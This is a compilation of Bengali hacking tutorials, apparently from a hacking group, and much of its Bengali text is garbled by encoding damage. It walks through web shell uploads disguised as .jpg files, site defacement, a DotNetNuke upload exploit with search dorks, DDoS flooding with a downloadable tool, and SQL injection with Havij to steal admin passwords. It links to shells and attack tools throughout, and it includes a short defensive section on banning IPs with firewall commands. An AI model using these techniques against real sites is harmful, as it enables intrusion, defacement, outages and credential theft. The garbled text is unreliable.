মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
